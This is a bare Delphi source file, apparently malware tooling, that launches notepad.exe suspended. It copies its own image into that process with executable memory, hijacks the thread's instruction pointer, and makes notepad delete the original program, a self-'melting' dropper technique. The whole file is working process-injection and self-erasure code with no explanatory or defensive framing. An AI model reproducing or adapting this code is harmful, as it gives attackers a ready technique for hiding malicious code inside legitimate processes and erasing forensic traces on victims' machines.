program Inj;

uses
  Windows;

var
  sBuff:    array[0..255] of Char;

{$R *.res}

procedure MeltProc();
begin
  Sleep(500);
  DeleteFile(sBuff);
end;

function InjectCode(szProcessName:string; pFunction:Pointer):Boolean;
var
  STARTINFO:  TStartupInfo;
  PROCINFO:   TProcessInformation;
  pFunc:      Pointer;
  dSize:      DWORD;
  pInjected:  Pointer;
  dWritten:   DWORD;
  CONTEXT:    TContext;
  hMod:       THandle;
  IDH:        TImageDosHeader;
  INH:        TImageNtHeaders;
begin
  FillChar(STARTINFO, SizeOf(TStartupInfo), #0);
  STARTINFO.cb := SizeOf(TStartupInfo);
  if CreateProcess(nil, PChar(szProcessName),  nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, STARTINFO, PROCINFO) then
  begin
    hMod := GetModuleHandle(nil);
    CopyMemory(@IDH, Pointer(hMod), 64);
    if IDH.e_magic = IMAGE_DOS_SIGNATURE then
    begin
      CopyMemory(@INH, Pointer(hMod + IDH._lfanew), 248);
      if INH.Signature = IMAGE_NT_SIGNATURE then
      begin
        dSize := INH.OptionalHeader.SizeOfImage;
        pInjected := VirtualAllocEx(PROCINFO.hProcess, Ptr(hMod), dSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        WriteProcessMemory(PROCINFO.hProcess, pInjected, Ptr(hMod), dSize, dWritten);
        CONTEXT.ContextFlags := CONTEXT_FULL;
        GetThreadContext(PROCINFO.hThread, CONTEXT);
        CONTEXT.Eip := DWORD(pFunction);
        SetThreadContext(PROCINFO.hThread, CONTEXT);
        ResumeThread(PROCINFO.hThread);
      end;                
    end;
  end;
end;

procedure MeltFile();
begin
  GetModuleFileName(0, sBuff, 256);
  InjectCode('notepad.exe', @MeltProc);
end;

begin
  MeltFile;
end.